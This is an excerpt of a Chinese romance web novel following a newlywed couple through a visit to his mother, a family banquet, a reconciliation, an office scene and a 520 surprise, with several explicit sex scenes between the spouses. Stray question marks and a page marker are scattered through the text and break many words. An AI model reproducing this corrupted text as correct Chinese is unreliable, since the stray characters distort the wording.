她虽然生气,但?不会在婆婆面?前甩脸子。 见到?唐意的时候,还?是乖巧大方地收了红包,改口叫人。 一桌菜都是唐意亲手做的,好巧不巧,她全爱吃。 南惜知道,肯定是有人提前告诉婆婆她爱吃什么,不经意瞄了眼身侧的男人,在他看过来时,又傲娇撇开。 她原本打?算生气一个?月,看在他这么用心的份上,先减掉三天。 唐意的家虽然在联排别墅中?毫不起眼,却内有乾坤。 小花园里什么花都种,如今正是春夏交际,各色绣球锦簇在花坛,爬满墙的月季也是不同颜色,还?有渐变的,和双色相间的花瓣。 满满一架子多肉和仙人掌,每盆都被修理成刚好完美的形状。 祁玥在家也养多肉,南惜知道有多难,才能把几十?盆多肉同时养得这样精致。 池靳予在前院接一个?工作电话?,南惜赏花的时候,唐意端着两杯咖啡过来,递给她一杯。 “谢谢……妈妈。”叫出口还?是有点别扭,她难得露出腼腆神色。 “没关系,你?想叫什么就叫什么。”唐意下巴往前院抬了抬,“不用管他。” 南惜“噗嗤”一笑。 “要不是这个?臭小子,我还?真想和你?做姐妹呢。”唐意毫不掩饰对自己儿子的嫌弃。 南惜早就发现了,池靳予和他妈妈之间的相处,有种难以言喻的奇怪氛围。 她没有见过这样的母子关系。 唐意抿了口咖啡:“我本来就反感?那些条条框框的规则,为什么孩子一定要听从父母,女孩儿长大了就得嫁人,生子。尤其像我们这种家庭,一辈子只?能在丈夫身后,成全他的事业,名声和地位。” “可当初空有年轻气盛,没有资本反抗,只?能接受家里的安排和他爸结婚。”唐意甚至不愿提起那个?名字,扯了扯唇,“后来又有了他,我的人生就彻底变了。” 南惜目光颤了颤。 想起在岛上他说过的话?:如果一个?孩子出生不被父母欢迎,那他的出生就是个?悲剧。 那时她没多想,只?是对一个?男人能有这种觉悟而感?到?意外,这会儿却觉得,心脏好像突然被扎了一下。 “小予和他爸不一样,他对你?是用了心的。”唐意握住她的手,低下声,像闺蜜间的悄悄话?,“可是他对你?再好,你?也要最爱你?自己,永远清楚自己想要什么,知不知道?” 南惜没想到?第一次听这话?,是从婆婆嘴里说出来,愣了下,眼眶微热地点点头:“好。” 喝完下午茶,带了两盒唐意亲手做的甜品——一盒给他们,一盒给南惜父母,两人启程去龙湖山庄。 路上,南惜抱着熊抱枕埋头看手机,不说话?,只?有车载音响不知疲倦孤独地唱着。 池靳予知道她还?在生气。 歌单仿佛也在迎合沉默的氛围,一首《认错》结束,下一首是《我有罪》。 南惜撇唇腹诽。 花样百出的老男人,她才不会这么容易被哄好。 今晚的龙湖山庄格外热闹。 南惜婚后第一次回?家吃饭,既是母亲节家宴,也是为她补办的回?门宴。 爸妈哥哥,舅舅舅妈和祁书?艾,小姑姑父,除了在外工作念书?和港岛南家的几位,京城所有近亲都到?齐。 今天是中?式晚餐,十?个?人围着花厅的奢石圆桌,上座一如既往空着。 那是留给外婆的座位。 开席前,舅舅亲自夹了一大碗菜,堆成小山丘,恭恭敬敬地放在上座面?前。 酒是池靳予倒的,双手握酒杯洒到?地上。 自从外婆两年前病逝,这是每次家宴的惯常流程。 “妈,开饭了。”舅舅望着那碗小山丘笑了笑,“第一次见孙女婿,开心,多吃点儿。” 做完这些,所有人才能拿筷子。 外婆生前家教严格,宴席上小辈都不怎么说话?,偶尔长辈问,才回?答两句。 爸爸舅舅和姑父聊着生意场上的事,祁景之和池靳予如今掌管公司,也就参与了进去。 除了祁景之,这位初来乍到?的新姑爷倒是所有小辈中?最轻松自如的。 一边从容不迫地输出观点,一边还?给南惜剥了两只?螃蟹。 蟹黄蟹肉肥嫩鲜美,蟹腿肉也一点没碎,所有蟹壳整齐干净地摆在盘子里。这人剥起螃蟹来,和他讲话?一样条理分明。 没过多久,装着虾肉的碟子也被摆到?南惜面?前。 祁景之摘掉手套,扬了扬下巴:“螃蟹性凉,少吃。” 池靳予面?色如常地给自家老婆倒了杯热茶:“没关系,前阵子吃鱼太多,降降火。” 说到?前阵子,某人把他妹妹骗到?私人海岛上,孤男寡女朝夕相处半个?月,祁景之牙齿都快咬碎:“我妹嫁给你?,你?天天就只?给她吃鱼?” “景之。”祁玥警告地瞥他一眼,“人家两口子的事儿你?掺和什么?吃你?的饭。” 祁书?艾憋不住笑出声来:“姑姑,他酸呢,您给他也找个?老婆。” 祁景之眼神冰凉地扫向?她:“祁书?艾你?找抽是吧?” “别,暴力不能解决问题。”祁书?艾递了只?螃蟹给他,“祁总,您需要的是这个?。” 舅舅清了清嗓子:“艾艾,没大没小。” 祁书?艾啧了声。 家里只?有老爸最奉行奶奶那套封建规矩,小辈们一个?个?在他面?前气都不敢喘一个?,什么年代?了都。 “你?也老大不小了,总窝在家里不像话?,还?是得找份事儿做。”舅舅看了眼祁书?艾,突然想起来什么,望向?池靳予,“小予,你?那天那个?伴郎,是铂锐资本的薄慎吧?” 池靳予抬眼回?答:“是。” “艾艾和惜惜一样,是在宾大学的金融,你?帮忙问问你?朋友那里有没有合适的职位?”舅舅笑了笑,“我这闺女不成器,毕了业就没正儿八经工作过,随便做个?助理啊,秘书?之类的都行,耳濡目染的,慢慢儿学。” “爸,我不要。”祁书?艾快炸了,“我就是去扫大街,去捡垃圾,睡大桥底下我也不去薄慎那儿当助理!” “那我就给你?安排相亲。”舅舅沉下声,“工作,结婚,你?总得选一样,二十?几岁的人了,成天在家待着无所事事,像什么话??” 南惜感?觉到?祁书?艾颤抖的情绪,差点要脱口而出,她有百万粉丝的法律科普号,她不是在家待着无所事事,被祁书?艾用力按住手。 另一只?手被池靳予轻柔地握住,男人表情谦和地望向?舅舅:“我试着帮您问问,但?不一定能成。您知道,铂锐总公司今年有两个?事业部合并裁员,京城这边怕是很难。深圳和国外的分公司刚起步,兴许会缺人。” “深圳和国外不行。”舅舅拧眉摇头,“女孩儿家,不要跑那么远。” 祁书?艾嘲讽地扯了扯唇。 “算了,这件事暂且搁置。” 南惜握着祁书?艾的手,松了口气。 饭后在台球室,祁书?艾一杆开球,差点把好几个?球撞飞,咬牙切齿地说:“家里公司给祁盛,还?管我这管我那,凭什么?凭他头上没几根毛啊?” 祁盛是祁书?艾亲弟弟,刚二十?岁,在哈佛商学院读书?。从小就是别人家孩子,也是祁铮属意的继承人。 旁人都羡慕祁大小姐出身优越,只?有她自己知道被压在盛芒之下的微弱烛光有多辛苦。 后来她彻底收起了自己的光,甘愿被人取笑嘲讽,把不学无术发挥到?极致。 南惜接下她失误的场子,一杆清台,被苦哈哈埋怨:“我都这么惨了你?不能让让我吗?” “对不起。”南惜双手合十?,表情抱歉又可怜,“下次肯定让。” “我呸。”祁书?艾气笑。 打?了几局,两人都觉得饿,家宴只?要有舅舅在,她们向?来吃不饱。去厨房找陈阿姨要夜宵,芝麻糯米小圆子,香甜软糯,各炫了一大碗。 九点多,祁书?艾一家准备离开,祁景之下地库去送。 祁玥回?头问自 己女儿女婿:“你?们回?去吗?” “我今晚就住这儿。”南惜稳稳地坐在沙发上,晃着小腿,看了眼池靳予,“他回?去。” 祁玥怀疑的目光在两人之间转了一转。 南惜不想让父母知道她和新婚丈夫在闹脾气,面?色平静地解释:“这边离公司太远了。” “无妨。”池靳予挨着她坐下,握住她手,对着祁玥和南俊良笑了笑,又温柔地望向?她,“老婆不用担心,我习惯早起,来得及的。” 南惜知道他不是什么光明磊落真君子,却没想到?他能堂而皇之地当着爸妈的面?死皮赖脸。 “我想爸妈和哥哥了,要在这边多住几天。”她表面?微笑,暗地里咬牙,“你?还?是回?去吧。” “那我更要陪你?了。”男人亲昵地搂住她腰,“哪有让你?一个?人住娘家的道理?” 祁玥朝丈夫使了个?眼色,南俊良顿悟,两口子相携上楼去了。 客厅只?剩新婚燕尔的小夫妻二人。 楼梯上两道目光消失,南惜瞬间板起脸:“你?想干嘛?” “留下来。” “行吧。”她知道赶不走他,冷淡敷衍,“您爱留留,爱睡哪睡哪。” 男人无视她态度,依旧弯着唇:“不睡你?房间?” “想得美,我房间不给男人睡。”南惜哼一声,去抠腰上那只?手。 却反而被他箍得紧紧的,呼吸俯下来贴近:“那我不是男人。” 南惜懵了懵,无比震惊地睁大眼。 “我是你?的人,你?让我是什么我就是什么。”池靳予郑重其事地望着她,“但?我从头到?脚,里里外外都是你?的,你?上哪儿都得带着我。” “……”南惜头一回?见识到?他胡搅蛮缠的功力。俗话?说,人不要脸天下无敌,她自知斗不过,直接推开他起身上楼。 池靳予一双大长腿,毫不费劲地跟着。 南惜的房间他第三次进。 第一次是送喝醉酒的她回?家,被她腻腻歪歪勾了一身火,第二次是接亲,满屋子气球彩带,缤纷艳丽,却只?有她最好看,人声鼎沸里他只?能注意到?她。 第三次便是今天。 卧室恢复了以往的样子,干干净净。 女孩儿长期居住后特有的馨香空气,被他这个?不速之客混进一丝阳刚的味道,有种微妙的,奇异的愉悦感?在心口震荡。 这次他不用再尴尬离开,他可以心安理得地住在这里,睡在她床上。 他拥有这个?世界上最堂堂正正的名分,肆意入侵她的领地。 南惜去衣帽间拿完衣服,锁上浴室门洗澡,全程没和他交流。 池靳予在沙发上坐着等,一会儿,陈阿姨敲门,递给他一套新睡衣,说是大小姐吩咐的。 男人接过来道谢,回?头看了眼雾气弥漫的浴室玻璃门,笑了笑,攥紧手里这团柔软的布料。 像他软到?一塌糊涂的心脏。 睡衣是真丝的,和她结婚之前,池靳予很少尝试这种,他更习惯偏厚实?的纯棉质地。 南惜不喜欢光着睡觉,哪怕做完爱,也要穿一件睡衣。 最近他越发对这种又软又轻薄的布料上瘾,这样抱着她睡的时候,会有贴得更近,更严丝合缝的感?觉,抚摸她的触感?也更清晰。 归根结底,他并不是对这种布料上瘾。 南惜洗完澡直接躺进被窝,刷了会朋友圈,听见浴室门重新打?开的声音,手机被她麻利地塞进枕头下。 身侧床褥塌陷时她已经闭眼,营造出睡着的假象,一片熟悉的温热从背后贴上来。 手臂环在她腰间,抱紧。 “老婆。” 她没说话?。 “知道你?没睡着。”池靳予看着她额角带一丝自然卷的绒毛,眼底温柔在黑暗中?静静流淌。 她睡着后的呼吸频率他太熟悉。 他对她的了解,甚至已经超过自我认知。 “给你?做了一个?小礼物?,本来没打?算当道歉礼物?。”他掌心热度从她的腰,逐渐挪到?她手腕。 南惜感?觉到?手腕上的冰凉,眼皮颤抖地睁开。 表扣正被他扣上,清脆的金属声伴随着她双眼被表盘上那圈紫色钻石猝不及防地闪到?,而略微凌乱的呼吸声,在黑夜中?清晰而突兀。 “好了。”池靳予牵起她手腕,到?唇边亲了亲,“现在想想怎么罚我。” 南惜紧抿着唇,想要抽回?手,却被他握得更紧,灼热逡巡到?耳边:“你?知道怎么罚我最难受。” 南惜咬了咬唇,内心短暂挣扎几秒后,闷声命令他:“……下去。” “好。”随着一个?喑哑的字音,他钻入被子。 蚕丝薄被中?间拱着座小山,在昏暗光线里不断地扭曲,变形。一片湿透的藕粉色布料从边缘探出来,再逐渐滑落到?地毯上。 被抓皱的真丝枕套,又被表盘上的钻石划出凌乱破碎的痕迹。 一如空气里婉转低柔,破碎到?毫无章法的声音。 半夜零点,卧室依旧温暖芳香。 南惜洗过澡,拥着新换的干净被子,而池靳予坐在窗户边的沙发里。隔那么远,她都能感?觉到?他满身寒气。 插在莲花底座中?的金丝奇楠袅袅地冒烟,她在浓烈的沉香味中?昏昏欲睡,心却静不下来。 虽然现在已经五月中?旬,但?龙湖山庄地处幽静,气温比市里低几度,晚上山中?也向?来很冷。 他欣然受罚,只?取悦了她,自己乖乖去冲凉水。这会儿暴露在深夜的冷空气中?,也不多穿件衣服。 整间卧室只?有香顶那一点红光,南惜对着窗户看不见他表情,忍不住轻声开口:“喂。” 男人气声低低柔柔的,像是害怕惊扰了夜色:“怎么还?没睡着?” 南惜攥紧被子,说:“你?过来吧。” “我身上冷。” “坐着更冷。”一瞬间,她把自己哄好了,也或许她早就被他哄好了,“……我批准你?进来。” 黑暗中?,清亮的眸光一闪:“那我是不是该谢主隆恩?” “少贫嘴。”南惜瞪他。 冰冷的身体小心探入,盖着一截被角蓄热,等稍暖起来后,才向?她靠近。 南惜最终还?是落到?他怀里。 她的体温被他汲取,引燃他的零碎火星,变作燎原的烈焰把一切摧枯拉朽地席卷。 许是今晚两人都缺了些什么,要用不断攀升的体温来填补,那团火愈烧愈烈,焚尽了理智。 将近凌晨一点,明天还?要去公司。 池靳予从来没这么疯狂过。 “池靳予……”昏暗中?指甲刺进他后背,又添了新痕。 “嗯……”低沉绵长的一道气音,近乎满足。 “我是说准你?进被窝……” 不是哪里都能进。 男人笑声沉哑,没有半点认错反省的意味:“那下次记得说清楚。” 第50章 第 50 章 醒来已经日上三竿。 感觉到紧挨着的熟悉体温, 南惜脑子?一嗡,推了推旁边的人?。 箍着她的手臂微动,上下眼皮难以掀开, 嘶哑嗓音黏糊糊贴着她:“怎么了老婆?” “你不是要去公司?”她抬手揉他的脸, 试图把?他揉清醒,“快点起床。” 两只手被他一并薅住, 连同整个?人?摁回胸口?:“请假了,睡。” “……”贴住男人?紧实的胸肌,南惜大脑宕机好几?秒,“你请假了?” “嗯。”气声从鼻子?里冒出来,熏热她耳朵。 池靳予请假? 她敢想象祁景之藏着个?白月光, 乔宜琳和魏亦铭有一腿,都不敢想象池靳予这个?工作狂会?请假。 “别乱扭。”男人?用腿压住她,“我现在很困,还不想做。” 南惜想起昨夜盛况,她不知道折腾到几?点, 但依稀天边已经泛红光。 龙湖视野开阔,她的房间正好能看日出。 “春宵苦短”这个?词, 在接近天亮的那一刻具象化。她记得那会?儿他抵着她,两股温热涌出, 同时颤抖的时候,他呼吸贴着她耳边, 低哑气音也?在颤抖:“乖乖,能再来吗?” 可是她太困太累了, 没?法?再来, 他抱着她洗最后一次澡的过程,脑海里完全?没?印象。 池靳予似乎又睡着了, 呼吸沉下来,温热均匀地喷在她脖颈,南惜听着他的呼吸声,也?安稳地睡了个?回笼觉。 没?人?敢催他们起床,陈阿姨知道姑爷并没?有出门,叫厨房随时备着早饭。 结果直到中午,两人?才终于出现。 祁玥早上离开前提醒过陈阿姨,说小夫妻可能闹了什?么不愉快,南惜才突然要住回娘家,让她稍微注意点儿,有什?么情况知会?一声。 看这两人?一觉睡到大中午,牵着小手甜甜蜜蜜下楼的样子?,哪像闹了什?么不愉快? 陈阿姨高兴地给两人?盛午饭,顺嘴问:“大小姐今天回市里吗?” “不回。”南惜边喝着牛奶边说,“我要住几?天,陪爸爸妈妈。” 陈阿姨看向池靳予:“姑爷呢?” 男人?无比自然地搂着她腰:“我陪她。” 陈阿姨翘着嘴回到厨房,拿手机给祁玥发消息,汇报情况。 【好了,看样子?没?事儿了。】 【姑爷还要陪大小姐住几?天呢。】 祁玥:【那就好。】 【这些天多?做点儿滋补的。】 陈阿姨笑得合不拢嘴:【我懂我懂。】 午觉是睡不着了,池靳予还得去公司,南惜下楼送他。 上车前,她认真帮他整理领带:“你以后不许这样了,哪有老板带头请假的?还是因为……” 南惜抿了抿唇,瞪他一眼。 要被人?知道是这样的请假理由,她在圈子?里以后没?法?混了。 “因为在老婆身上起不来床?”男人?低声接过她话,“人?之常情,不丢脸。” “我丢脸。”南惜用力扯他领带,“我怕被人?说是妖精……” 话音戛然而止,他低头亲了她一口?。 唇瓣一触即离,棕眸深邃地攫着她目光:“你不是吗?” 南惜还想要反驳,腰被搂着贴住他:“你就是勾我魂的妖精。” “自己没?定力,还怪别人?。”她轻哼。 “是,我没?定力,我做梦都想死你身上。” 这人?大白天鬼话连篇,南惜脸一阵爆热,把?他往车里推:“你赶紧走,我这里不欢迎你。” “没?事儿,你那里欢迎就好。” “……收声啦你个?咸湿佬!”南惜气昏头,用粤语骂他。 他虽然不懂,但也?知道不是好话。毫不在意地笑了笑,贴到她耳边:“晚上见,bb。” “bb咩啊,就知道bb。”南惜哼了声,用力甩上车门。 有本事学粤语讲给她听。 爸爸为了讨好妈妈有多?努力学普通话,当年?可是人?尽皆知。 * 下午祁景之回来得早,从地库上来时,南惜正在客厅点香。 池靳予习惯焚香,车里也?随时带着,怕她无聊,拿几?盒出来给她玩。 一斤几?万几?十万的珍品香,南惜点着当玩具,这根闻闻不喜欢,灭掉换另一根。 这些香池靳予平时都宝贝得很,尤其是沉香老料子?,高纯度龙涎,一些绝版料子?烧完就没?了,以后有钱都买不到。 “小小年?纪整这些。”祁景之望着她扯了扯唇,“你别被他骗到深山老林修仙去了。” “你个?俗人?懂什?么。” “我是俗人?,就他高雅。”祁景之用力薅了一把?她头发,“真是嫁出去的闺女泼出去的水,有了老公看我就嫌是吧?” “是你老看不惯他。”南惜抓开他手,“你给我老公留点面?子?,我就不嫌你俗。” “啧,吃里扒外。” “他才不是外人?。” 祁景之扭头往楼上走,南惜突然想起来什?么,跟上:“哥哥!等一下!” “干嘛?” “我看看你衣帽间。” 祁景之警惕地回头:“你想干嘛?” “我知道你有很多?新衣服。”南惜望着他,一脸认真,“你都穿不完。” “……”祁景之嘴角一抽,“想抢我衣服,给你老公穿?” “就穿几?天,最近好忙没?时间买衣服,回市里就给他买。”南惜把?他往衣帽间推,“他那柜子?全?都是乌鸦色,看腻了。” “你在内涵我什?么?” “自作多?情,我没?说你花蝴蝶……” 之前她把?要送给祁景之的衣服给池靳予穿过一次,刚好合身,所以动了这念头。 池靳予是那种注重生活品质,但物欲并不高的人?,衣服不多?,只是各种场合足够穿。 祁景之不一样,蜜罐里泡大的公子?哥儿,爱玩爱花钱,爱打扮折腾,各种名牌高定,衣服手表堆积成山。 南惜觉得他实在浪费,很多?衣服买来就挂着,没?穿过。 她让管家严叔推了辆推车来,看上一件,往里扔一件。但凡池靳予没?穿过的颜色,全?都一股脑往推车里扔。 “你等等,那柜子?别动,都是我宝贝。” “南惜,你不要太过分,你哥的钱不是钱吗?” 大少爷眼里钱就是废纸,南惜嫌他矫情,不理他。 “抢我衣服养你老公,你可真干得出来。” “我数三声,你不停手我动手了啊。” “三——” 南惜打开下一扇衣柜门:“来,揍我。” “……” 祁景之光嘴上说,哪敢真拿她怎样,这宝贝疙瘩少根汗毛爸妈能把?他生吞了。只能眼睁睁看着自己的名牌高定一件件被土匪扫荡。 “你不说他就穿几?天?用得了这么多??”祁景之没?脾气地靠在衣柜门上。 “不是得拿过去挑吗?”南惜义正辞严,“你以为你这些衣服他全?看得上?” “艹,老子?衣服给他他还挑?”祁景之气笑了,“您老公真金贵啊。” “谢您夸奖,也?就比您金贵得多?。” “……” 晚上,池靳予在餐桌旁吃饭,祁景之恨不得吃他。 偏偏这人?一脸单纯无害地望过去:“怎么了哥?饭菜不合口?味吗?” 祁景之瞥了眼桌上,甲鱼汤,爆炒腰花,山药枸杞排骨粥…… 冷嗤一声,夹了一筷子?生菜:“我怕七窍流血,爆体而亡。” “胡说八道什?么?”祁玥瞪他,“那个?苦瓜汤,红烧萝卜是给你准备的,火气那么大,好好儿给我降降火。” 祁景之仰头灌了口?冰水。 吃完饭,南惜和南映雪接视频。 池靳予去帮祁玥侍弄了会?儿花花草草,回到客厅,瞥见落地窗外抽烟的祁景之。 山庄寂静无边的夜色,衬得他背影有点寂寥。 池靳予绕过大门,走到那片屋檐下。 祁景之知道他来,掸了掸烟灰,没?看他。 但对方伸手时,还是递了根烟过去。 池靳予把?那根烟伸到他面?前。 祁景之“艹”了一声:“你大爷。” 嘴上骂骂咧咧,不情不愿给他点了烟。 “我妹不喜欢烟味儿。”祁景之手里夹着烟,语气凉飕飕,“你小心今晚不让你进屋。” 池靳予看他的眼神也?微凉。 “是吗?她不会?这么对我。”字里行间都是炫耀,“原来你一直就这待遇?” “……” “我算看出来了,在家里你算这个?。”池靳予抬起没?拿烟的那只手,比了比小拇指。 祁景之气笑了,一飞腿旋过去,池靳予灵巧躲开。 半晌,祁景之看着他,轻嗤了声:“你还是一如既往的欠揍。” “多?谢。” “……你当年?没?这么不要脸。” “惜惜不喜欢没?趣的人?。” “真喜欢她?” 池靳予勾起唇,轻烟随着呼吸飘散:“她是我老婆,这辈子?唯一一个?。” “那顾鸢呢?” 空气短暂凝滞。 池靳予用手指弹了下烟,一截白灰落下,望过去:“关顾鸢什?么事?” “她不是跟你去英国?”祁景之全?程垂着眼眸,看不清神情。 池靳予皱眉:“谁跟你说她跟我去英国?” “你用不着心虚,我没?那么缺心眼儿,告诉我妹去给她添堵。”烟头扔到地上,昂贵鞋底踩着那点火光,慢条斯理地碾,“记得你自个?儿的话,她是你这辈子?唯一的老婆,你眼里,心里都只能有她,否则当初你欠我的,我连本带利找你算。” 看着他转头离开,池靳予匆忙叫住:“祁景之,她不是跟我——” “无所谓了。”大门推开,他走了进去。 * 池靳予回房间时,南惜已经洗完澡,窝在窗户前的懒人?沙发里看时尚杂志。 即将?发布的夏季新款,每条都不错。 听见开门声,她两眼发光地转过头:“你回来啦?” “嗯。”他从她背后俯下身,搂住她脖子?,“喜欢哪条?给你买。” “你抽烟了……”南惜皱眉。 “陪你哥聊天儿抽了半根。”他淡淡解释,“放心,我没?烟瘾。” 南惜攥起拳头敲了他胳膊几?下,表情严肃:“你不要被他带坏,我讨厌……” 他用唇堵住她,轻轻地,一触即离:“知道,你讨厌烟味儿,我马上去洗。” 南惜“哼”一声:“洗干净再来抱我。” “好。” 池靳予洗得很认真,三遍沐浴露冲干净,刷了几?分钟牙,漱口?水漱了六次,全?身上下里里外外都没?一点烟味,才换上和南惜同款的情侣睡衣。 香喷喷的体温再次笼上来,南惜仰头吸了吸,噘嘴接应他微湿微凉的唇。 呼吸交融间,被他从懒人?沙发上抱起来,双双滚落到软褥中央。 柔软鲜嫩的玫瑰花苞被温暖衔入,整朵花都在风雨飘摇中颤动。而那侍弄花朵的人?,始终勤勤恳恳不懈怠半分。 花瓣上露珠成串滴落,很快又凝结了新的,侍花人?耐心等着花苞长大,粉嫩花瓣在眼前绽放开。 而那只艳丽动人?的花妖,就躺在一片纯白中,肌肤透着与花瓣一样的粉色。 “bb你看,在欢迎我。”一沉,一,顶,肆意享用他精心喂养的花。 …… 第二天早上,南惜也?早早醒来。 她献宝似的把?一夜之间被填满的衣帽间开给他看,里面?全?都是祁景之没?穿过的,被她薅来的五颜六色的衬衣和西服,还有一个?柜子?挂领带。 池靳予看着眼前盛况,总算明白昨晚饭桌上祁景之为何那副吃人?的表情了。 不过祁景之不是那种会?在乎身外物的人?,凡是能用钱买到的,在他眼里都不值一提。 想着两人?之间真正的症结所在,池靳予默然皱了下眉,当南惜拽着他手问喜不喜欢时,他复而勾起唇,神色宠溺地搂住她腰:“喜欢。” 南惜勾着他脖子?晃晃:“那今天穿我挑的。” 他摸摸她头发:“好。” 向来只穿深色衣服的池靳予,今天难得穿了套浅咖色西服,内搭白衬衫和奶杏色马甲。 衬衫领口?穿过金色的方块领针,露出的灰棕色领带上,有星星一般的浅蓝色块点缀。 他不太研究穿搭,从没?尝试过全?身超过三种颜色,西服衬衫购买订做时全?部?由设计师搭配好,成套放在衣柜。 可她就随随便便拎出来几?件单品,搭在一起既有层次感,又不显杂乱,一眼望去满满的高级,人?也?瞬间年?轻了几?岁。 池靳予看着眼前正帮他挑选袖扣的妻子?,一种夹杂着温暖的惊喜在心底流动。 跟她结婚,或许是他这辈子?最正确的决定。 南惜挑了一对镶方钻的金色袖扣,仔细帮他戴上,整理好袖子?,领带,裤脚,然后围着自己的劳动成果转了一圈。 什?么玉树临风,谪仙下凡,配这幅画面?都显得苍白俗气。 南惜洋洋得意地拿手机拍了一张,记录下这历史性的一幕。 池靳予上前抱她,左手捏捏她鼻头:“满意了?” 南惜用手机抬起他下巴,眼睛笑成两弯月牙:“你可要一直这么帅,让我随时都养眼睛。” 池靳予笑了笑:“就满意我的脸?” 南惜眨眨眼:“当然了,池总这张脸媒体都说了——商界大佬吊打娱乐圈第一人?。” “我以为过了这么久……”他低下头,灼人?气息贴近她耳朵,“你会?对我的服务更满意。” “……又来。”南惜红脸推他,“吃早饭去公司了,今天不许请假。” 男人?牵着她的手,放到唇边:“遵命,夫人?。” 池靳予平时上班,都是直接从高管专用地库坐私人?电梯。早上员工上班高峰,他不喜拥挤。 今天却破天荒让司机把?他放在大厦门口?。 总裁一改万年?不变的穿衣风格,前台接待的员工一时没?反应过来。 远远第一眼:身材真顶一男的。 衣品也?好。 走路沉稳又有气场。 油光锃亮的棕色皮鞋,一看就很贵。 等人?走近,那张帅到没?朋友的脸猝不及防地直接撞到视网膜上。两人?呼吸瞬间凝滞,甚至忘了微笑鞠躬。 直到对方主动打招呼,浅淡温和地点了下头:“精神面?貌不错,保持。” “……” 听到门禁打开的声音,两名前台才猛回过神,鞠了个?九十度的躬,声音洪亮:“池总早上好!” “早上好。”他笑着走进去。 路上遇到的所有员工都一边恭敬地招呼,一边暗戳戳观察他。 都知道最近老板变化很大,对员工和颜悦色,手下有人?犯错也?格外宽容。群里正疯传他昨天在高层会?议上看着手机,露出一瞬间温柔笑容的偷拍照片。 工作上他向来古板严苛,以前在公司几?乎不笑,也?从不穿除了深色以外的衣服,给人?一种不容侵犯的庄严。 最近不仅笑容多?了,脾气好了,今天甚至还穿了套浅色系西装。 员工们都不敢抢电梯,等老板进去后,乖乖等下一班。 直到一身斐然贵气的老板亲自按住开门按钮,向他们淡淡撩眼:“都不着急打卡?” “上来。” 一群人?战战兢兢地排队进去。 池靳予第一次和员工们一起坐电梯,并不拥挤,因为都不太敢靠近他,自觉隔了段距离。 他若无其事地抬手摸了摸领带,又整理那熨帖到没?有一丝褶皱的袖口?。 电梯里太过安静,有社牛员工壮着胆子?搭讪:“池总这身衣服真帅,看着像年?轻了十岁。” 话落,他恨不得咬了自己舌头。 也?接收到所有同事幸灾乐祸的目光。 都怪他太紧张,拍马屁拍到了马腿上。什?么年?轻了十岁,这不明晃晃埋汰池总年?纪大吗?真是找死只需要一张嘴。 正等着这位传说中的冷血老板问他部?门工号姓名,再恩赐他人?事部?一轮游,对方却望着他温和地笑了笑:“谢谢,我夫人?挑的。” 天地良心,他还没?死透!谢谢夫人?,救苦救难活菩萨。 他热泪盈眶地继续拍马屁:“您夫人?眼光真好。” 老板眼中笑意更浓:“你眼光也?不错。” 还没?到晨会?时间,公司上上下下都传遍了。 老板今日份浅色套装是夫人?亲手挑的。 老板在电梯里和颜悦色地夸奖一位技术部?员工,理由很扯淡,因为拍对了夫人?马屁。 * 南惜在龙湖住到五月二十日。 当天晚上,池靳予说给她准备了惊喜,两人?就收拾收拾回市区了。 车停在后院,别墅看起来还是她离开前的样子?,一草一木,一盏灯都没?有变。 南惜狐疑地观察从驾驶座下来的男人?,不知道他所谓的惊喜是什?么。 池靳予接收到她探究的眼光,笑了笑,牵住她的手往前院走。 随着他们靠近的脚步,鱼池和湖边,假山上,郁郁葱葱的银杏树冠上,翘角屋檐,桌椅浮桥,全?都亮起粉红色的灯。 假山上最漂亮,灯光勾勒出起伏连绵的山尖,往下呈现出渐变的颜色。 院门右侧的八角亭和下沉广场也?换了格局。 亭前多?了她喜欢的紫藤花架,下沉广场中央原本放茶桌的位置,竖着一大颗灯光闪烁的爱心。 走近细看,才发现灯光只圈出外层轮廓,里面?全?都是新鲜饱满的海洋之歌玫瑰,一朵挨一朵,像在争相热情地绽放。 “我只会?这些俗套的东西,不要嫌弃。”男人?侧头看她,目光一如既往的温润,“老婆,520快乐。” 南惜吸了吸酸胀的鼻子?,憋下眼眶一阵热意,转过来抱住他腰:“不俗套,我很喜欢。” 喑哑气声压下来:“给点儿奖励?” 南惜“噗嗤”一笑,仰起头,主动送上自己的唇。 浓郁的玫瑰香散在鼻息,温热蒸腾在唇齿间。 满院粉色的氛围灯也?照不亮什?么,反而烘托出别样的气氛。 失控只需要一个?呼吸的时间。 他现在真的会?随身携带,无论何时何地,总能摸出来一盒。 南惜羞恼嗔怪,又啼笑皆非,咬着唇缓缓坐好,眯眼再睁开,眸子?里瞬间泛水光。 他没?有给她调整的时间,紫藤花架被晚风吹着,花叶发出规律的响声,为院子?里的流水潺潺轻柔伴奏。 满眼玫瑰色灯光在晃动。 京城晚高峰,院外车声不停,隔墙偶尔经过陌生人?聊天,南惜搂着他肩膀求他:“去屋里好不好……” 他贴近她耳朵:“叫我。” “老公,我想进屋。” 他抱着她站起来,一步一步,肩膀被咬得更深,背后逐渐划出更多?血痕。 穿过客厅,到电梯间的走廊中央,池靳予停下脚步。 一切都短暂停下,时间也?好像静止了。 南惜暂时平复了呼吸,松开咬紧他的牙齿,空旷走廊里只有一道低醇喑哑的嗓音,像魔咒绕到她耳边:“bb,睁眼,抬头看。” 南惜睁开雾气迷蒙的眼,看过去。 原本靠在墙边的博古架不见了,取而代?之的,是一幅占满整面?墙的照片。 照片上女孩纵马驰骋,正听见爱人?的呼唤,回眸一笑,万物失色。 “喜欢吗?”他轻声问着,往上,一动。 南惜眼眶瞬间更红,眼底雾气更浓郁,又感动又骂他:“喜欢……坏蛋。” 他抱着她走过去,没?有进电梯,而是停在她自己的巨幅照片前。 “喜欢就好。”手掌垫着她的背,贴在墙上,为她预热那块新的阵地,嗓音像夹着细小砂砾,低哑,温润,却磨人?,“我特意做了防水的。” 50-60 第51章 第 51 章 手掌预热过的照片墙, 还远达不?到温暖的程度,她被挤压在?微凉和?滚烫两抹坚硬之间,软得挂不?住, 全靠一股股力道向上, 顶着,才不?会掉下来。 力道太绵密, 他甚至不?需要用手抱她,掌心护在?她脑后?,另一只手,随意落到任何他想的地方。 她咬着他肩膀软软地哼,没一会就变了调。 可她不?说话, 他也能听懂:“难受?” 南惜松开牙齿:“背不?舒服。” 然后?故意咬了他一口。 男人低笑着,让她的重量再?落回?自?己身上,温柔地哄:“转过去?” “……嗯。” 她用手枕着额头,贴在?墙上。 蹭红的后?背由?他呼吸掠过,安抚, 虽然并?不?怎么疼。 “乖乖,看你自?己。”他扶起她腰, 嗓音贴着她耳朵,“不?要看脚。” 头顶是她自?己的照片, 